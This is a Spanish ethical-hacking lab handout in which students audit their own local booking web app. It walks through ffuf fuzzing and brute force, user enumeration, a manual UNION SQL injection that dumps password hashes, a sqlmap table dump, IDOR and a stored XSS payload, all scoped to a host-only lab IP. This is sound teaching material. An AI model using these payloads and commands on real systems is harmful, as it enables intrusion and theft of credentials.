Práctica. Audita tu propia web

Nombre y apellidos: _____

Jueves 19 de noviembre de 2026 · HE · 4 horas · trabajo individual

El martes pusiste en marcha tu web de reservas y le sacaste los secretos del código. Hoy te pones el otro sombrero: la vas a atacar. La misma web, en tu propio equipo, desde tu Kali. No es un ejercicio de mentira: tu aplicación tiene fallos de verdad, de los que se ven todos los días, y hoy los vas a encontrar, confirmar y valorar como en una auditoría real.

Hay una razón para que ataques la tuya y no la de un compañero: así entiendes el ciclo completo. Lo que rompes hoy lo arreglarás en Puesta en Producción Segura y lo verás saltar en tu Wazuh en Incidentes. Por eso lo más importante de hoy no es "entrar", es **apuntar la hora de cada prueba**: el día 25, en Incidentes, vas a cruzar esta bitácora con las alertas que tu SOC haya generado, y tiene que cuadrar.

1. Qué vas a aprender hoy

1. Preparar una auditoría web: alcance por escrito y bitácora con horas.
2. Reconocer la aplicación y enumerar su contenido con ffuf.
3. Detectar que un formulario de acceso revela qué usuarios existen.
4. Hacer una prueba de fuerza bruta controlada.
5. Encontrar y confirmar una inyección SQL, a mano y con sqlmap.
6. Encontrar un acceso a datos de otro usuario (IDOR) y un XSS almacenado.
7. Valorar cada hallazgo con CVSS y ver el rastro que dejan tus pruebas.

2. Alcance de hoy

Hoy el alcance es muy estricto y lo firmas tú en la plantilla antes de empezar.

Dentro del alcance: EXCLUSIVAMENTE tu aplicación `miweb` en `http://192.168.56.1:8080/`, que corre en tu propio equipo. Peticiones web con las herramientas y las opciones de esta hoja.

Fuera del alcance: cualquier otra IP o puerto; la web de cualquier compañero; el panel de Wazuh y cualquier otro servicio de tu Ubuntu; la red del centro e Internet. Nada de diccionarios de fuerza bruta grandes: usa solo las listas pequeñas que te doy.

Que sea tu propia máquina no cambia las reglas: en una auditoría real atacas lo que pone el contrato y nada más. Hoy practicamos esa disciplina contra un objetivo que es tuyo.

3. Prepárate (20 minutos)

El martes conectaste tu Kali con tu Ubuntu por la red solo-anfitrión. Comprueba que sigue y que tu web responde. Desde la Kali:

```
ip -br a
curl -sI http://192.168.56.1:8080/salud
```

Tienes que ver una IP `192.168.56.x` en la Kali y que el `curl` responde. Si no, arranca tu web en el Ubuntu (`sudo systemctl start miweb nginx`) y revisa la red como el martes. Si no lo consigues, avísame.

Copia a la Kali el material de hoy desde la web del curso (HE, Prácticas): `plantilla-auditoria-web.md`, `rutas.txt`, `usuarios.txt` y `claves.txt`. Prepara la carpeta de trabajo y **firma el**

alcance de la plantilla:

```
mkdir -p ~/he-web/salidas
cd ~/he-web
```

Guarda en una variable la dirección, que la vas a usar en todo:

```
WEB=http://192.168.56.1:8080
echo $WEB
```

A partir de aquí, cada cosa que ejecutes va a la bitácora de la plantilla **con la hora**.

4. Reconocimiento (25 minutos)

Mira qué servidor es y qué tecnología usa:

```
nmap -sV -Pn -p 8080 192.168.56.1 | tee salidas/nmap.txt
whatweb -a 1 --color=never $WEB/ | tee salidas/whatweb.txt
curl -sI $WEB/ | tee salidas/cabeceras.txt
```

Vas a ver que delante hay un nginx y que el título es "Reservas del aula". Fíjate en las cabeceras: ¿están las de seguridad que vimos con TECNORIBERA (`X-Frame-Options`, `Content-Security-Policy`, atributos de la cookie de sesión)? Apunta las que falten; son hallazgos de "configuración" que anotarás, aunque por sí solas no siempre lleven nota CVSS alta.

5. Enumera el contenido (25 minutos)

Ahora busca qué rutas tiene la aplicación. `ffuf` prueba una lista de nombres y te dice cuáles existen:

```
ffuf -u $WEB/FUZZ -w rutas.txt -mc 200,301,302,401,403 -o salidas/ffuf-rutas.json
```

`-u` con la palabra `FUZZ` marca dónde va cada palabra de la lista, `-w` es la lista (la corta que te doy) y `-mc` le dice qué códigos de respuesta considerar "encontrado" (si no, solo muestra los 200 y te perderías rutas que redirigen o que piden sesión). Vas a ver rutas como `login`, `registro`, `reservas`, `buscar` y `admin`. Apunta cuáles responden y con qué código. Una que responda 403 o que te redirija al login también existe: te dice que hay algo ahí que pide permiso.

6. El login te chiva los usuarios (20 minutos)

Prueba a entrar con un usuario que existe y con uno que no, siempre con una contraseña cualquiera, y mira **qué mensaje** devuelve cada uno:

```
curl -s -d "nombre=lucia&clave=xxx"     $WEB/login | grep -iE "no existe|incorrecta"
curl -s -d "nombre=noexiste&clave=xxx"  $WEB/login | grep -iE "no existe|incorrecta"
```

Con `lucia` dice "contraseña incorrecta"; con `noexiste` dice "ese usuario no existe". Esa diferencia es un fallo: un atacante puede averiguar qué usuarios existen antes de probar contraseñas. Se llama **enumeración de usuarios**. Confírmalo con los nombres de `usuarios.txt` y apunta cuáles existen de verdad. (El arreglo, que verás en PPS, es dar siempre el mismo mensaje.)

7. Fuerza bruta controlada (30 minutos)

Ya sabes qué usuarios existen. Prueba contraseñas contra uno de ellos con la lista **pequeña** que te doy. Fíjate: cuando el acceso es correcto, la aplicación redirige (código 302); cuando falla, devuelve la página otra vez (401). Usamos eso para distinguir el acierto:

```
ffuf -X POST -u $WEB/login \
  -d "nombre=marcos&clave=FUZZ" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -w claves.txt -mc 302 -o salidas/ffuf-fuerzabruta.json
```

La única línea que te saldrá es la contraseña que funciona. Has confirmado dos cosas: la contraseña de ese usuario y, sobre todo, que la aplicación **no limita los intentos** (te ha dejado probar toda la lista sin bloquearte). Eso último es el hallazgo importante. Apunta la hora: esta ráfaga es la que buscarás en Wazuh el día 25.

No entres a hacer nada con esa cuenta más allá de lo que pide la práctica. Confirmar el acceso es el hallazgo; rebuscar en la cuenta ajena, no.

8. Inyección SQL (50 minutos)

8.1. A mano

El buscador de reservas mete lo que escribes directamente en una consulta a la base de datos. Pruébalo. Primero entra con una cuenta (la del apartado 7 vale) para tener sesión, guardando la cookie:

```
curl -s -c salidas/cookie.txt -o /dev/null \
  -d "nombre=marcos&clave=LA_QUE_SACASTE" $WEB/login
```

Ahora manda una comilla en la búsqueda y mira qué pasa:

```
curl -s -b salidas/cookie.txt -o /dev/null -w "%{http_code}\n" "$WEB/buscar?
q=%27"
```

Responde **500** (error del servidor). Una comilla no debería romper nada; que lo rompa es la señal de que tu texto está entrando en la consulta SQL. Es un indicio fortísimo. Confírmalo sacando datos que no deberías poder ver, con una consulta `UNION` que añade a los resultados la lista de usuarios y sus contraseñas cifradas:

```
curl -s -b salidas/cookie.txt \
  "$WEB/buscar?q=zz%27%20UNION%20SELECT%20id,nombre,hash,rol%20FROM%20usuarios-
-%20" \
  | tee salidas/sqli-union.html | grep -i scrypt
```

`%27` es la comilla y `%20` es el espacio (van codificados en la URL). Si ves aparecer los hashes `scrypt:...` de las contraseñas, lo has **confirmado**: la inyección SQL te deja leer toda la tabla de usuarios. Eso es de lo más grave que hay.

8.2. Con sqlmap

Lo mismo, pero con la herramienta que automatiza el trabajo. Necesita tu cookie de sesión. Míratela en `salidas/cookie.txt` (la línea que pone `session`) o pásala directamente:

```
sqlmap -u "$WEB/buscar?q=1" \
  --cookie="session=PEGA_AQUI_TU_COOKIE" \
  --dbms=sqlite --batch --level=2 --risk=2 \
  -T usuarios --dump
```

`--batch` responde que sí a todo sin preguntarte, `--level` y `--risk` a 2 para que pruebe un poco más a fondo (el chequeo rápido de sqlmap aquí duda al principio; con nivel 2 lo confirma), `--dbms=sqlite` le dice qué base de datos es y `-T usuarios --dump` le pide volcar la tabla de usuarios. Cuando termine, te habrá dicho que el parámetro `q` es vulnerable (tipo UNION) y te habrá sacado la tabla. Guarda la parte donde lo dice; esa es tu evidencia.

Para en cuanto lo tengas confirmado y volcada la tabla. No uses sqlmap para escribir en la base de datos ni para sacar una shell: eso está fuera del alcance de hoy.

9. Acceso a datos de otro (IDOR) y XSS (30 minutos)

9.1. IDOR

Cuando ves una reserva, la URL lleva su número: `/reservas/1`, `/reservas/2`... Prueba a pedir la de otro número con tu sesión:

```
curl -s -b salidas/cookie.txt $WEB/reservas/1 | grep -iE "reservada por|motivo"
```

Si ves una reserva que no es tuya ("Reservada por lucia"), tienes un **IDOR**: la aplicación no comprueba que la reserva sea tuya antes de enseñártela. Prueba un par de números y mira si alguno trae información sensible en el motivo.

9.2. XSS almacenado

Crea una reserva nueva y en el campo "motivo" escribe esto en vez de un texto normal:

```
<script>alert(document.domain)</script>
```

Guarda la reserva y vuelve a abrirla desde el navegador **de tu propia Kali**. Si salta la ventanita del `alert`, has confirmado un **XSS almacenado**: la aplicación guarda tu texto y lo devuelve como código, así que un atacante podría dejar un script que se ejecute en el navegador de quien abra esa reserva (por ejemplo, el administrador). Haz una captura. Hazlo solo en tu navegador; no es necesario robar nada para demostrar el fallo: con que salte el `alert` está probado.

10. Valora y mira tu rastro (25 minutos)

Para cada hallazgo confirmado, ponle su tipo (mira el Top 10 de OWASP), su vector CVSS y su nota, con la calculadora `cvss31.py` del laboratorio del 12 de noviembre. Rellena la tabla de hallazgos de la plantilla.

Y ahora, lo que enlaza con Incidentes. Mira qué has dejado por el camino en tu propio equipo:

```
sudo tail -n 40 /var/log/miweb/seguridad.log
sudo tail -n 40 /var/log/nginx/miweb_access.log
```

¿Aparecen tus intentos fallidos de login, la ráfaga de fuerza bruta, el error 500 de la inyección? Apunta dos o tres eventos en la plantilla. El día 25, con tu SOC, veremos cuáles de estos generaron una alerta y cuáles pasaron sin que nadie se enterara.

11. Preguntas

1. ¿Qué diferencia de comportamiento te permitió enumerar los usuarios, y cómo se arreglaría?
2. ¿Cómo confirmaste la inyección SQL **sin** fiarte solo del error 500?
3. ¿Qué es un IDOR y por qué el que has encontrado es un fallo de autorización y no de autenticación?
4. ¿Por qué el XSS que has encontrado es "almacenado" y a quién podría afectar?
5. De tus hallazgos, ¿cuál le pondrías el primero a tu yo de Puesta en Producción Segura para que lo arregle, y por qué?

12. Si algo no funciona

`curl` a la web da `Connection refused`: tu web no está arrancada. En el Ubuntu, `sudo systemctl status miweb nginx`; si están paradas, `sudo systemctl start miweb nginx`.

Desde la Kali no llegas a `192.168.56.1`: comprueba con `ip -br a` que tienes IP `192.168.56.x`. Si no, la red solo-anfitrión no está; revísala como el martes o avísame.

`ffuf` o `sqlmap` no están en tu Kali: `sudo apt update && sudo apt install -y ffuf sqlmap`. Vienen de serie en Kali, pero por si acaso.

La fuerza bruta no saca ninguna línea con `-mc 302`: comprueba que el usuario existe (apartado 6) y que la contraseña está en `claves.txt`. Mira también una respuesta a mano con `curl -s -o /dev/null -w "%{http_code}\n" -d "nombre=marcos&clave=algo" $WEB/login` para ver qué código devuelve un fallo en tu versión.

sqlmap dice que `q` "might not be injectable" al principio: es su chequeo rápido, que aquí se queda corto. Deja que siga (con `--batch` lo hace) y con `--level=2` lo confirma. Si no, prueba a añadir `--technique=U` para que vaya directo a la técnica UNION.

El `alert` del XSS no salta: asegúrate de abrir la reserva en el navegador (no con `curl`) y de que has guardado el `<script>` en el motivo, no en otro campo.

13. Qué tienes que entregar (20 minutos)

Carpeta `NN-HE-auditoria-miweb` en ZIP con:

1. `plantilla-auditoria-web.md` completa: alcance firmado, bitácora con horas, tabla de hallazgos con CVSS y el apartado del rastro.
2. La carpeta `salidas/` con las evidencias (nmap, whatweb, cabeceras, ffuf, la salida de sqlmap, el HTML de la inyección UNION y la captura del XSS).
3. Las respuestas a las preguntas del apartado 11.

No incluyas las contraseñas que hayas descifrado ni el contenido entero de la base de datos: con la evidencia de que podías sacarlo (la salida de sqlmap y la ruta) basta. Trata los datos como si fueran reales.

14. Antes de entregar, comprueba que

1. Todas las pruebas de la bitácora van contra `192.168.56.1:8080` (tu equipo) y tienen hora.
2. Cada hallazgo tiene una comprobación tuya, no solo lo que dice la herramienta.
3. Cada hallazgo confirmado tiene su tipo OWASP y su nota CVSS.
4. Has mirado y apuntado el rastro que dejaste en tus registros.
5. No has dejado ningún escaneo en marcha (`ps aux | grep -E "ffuf|sqlmap|nmap"`).

15. Seguridad y ética

Hoy has hecho, en pequeño, lo que es una auditoría web: reconocer, enumerar, encontrar, confirmar y valorar, todo dentro de un alcance firmado y contra un objetivo autorizado. Las mismas órdenes contra una web que no sea tuya y sin permiso por escrito son un delito, por

mucho que la web tenga el fallo "a la vista". Fíjate también en la disciplina: en varios puntos te has parado al confirmar, sin seguir hurgando. Eso es lo que separa a un profesional de alguien que solo hace ruido. La semana que viene, el día 26, cerramos el informe de esta auditoría y comprobamos si el bastionado que hagas en Puesta en Producción Segura cambia estos resultados.

Referencias

- OWASP Top 10, riesgos de seguridad en aplicaciones web: https://owasp.org/www-project-top-ten/
- OWASP Web Security Testing Guide: https://owasp.org/www-project-web-security-testing-guide/
- Inyección SQL (OWASP): https://owasp.org/www-community/attacks/SQL_Injection
- Referencias directas a objetos inseguras (IDOR): https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References
- Cross-Site Scripting almacenado: https://owasp.org/www-community/attacks/xss/
- ffuf: https://github.com/ffuf/ffuf · sqlmap: https://github.com/sqlmapproject/sqlmap/wiki/Usage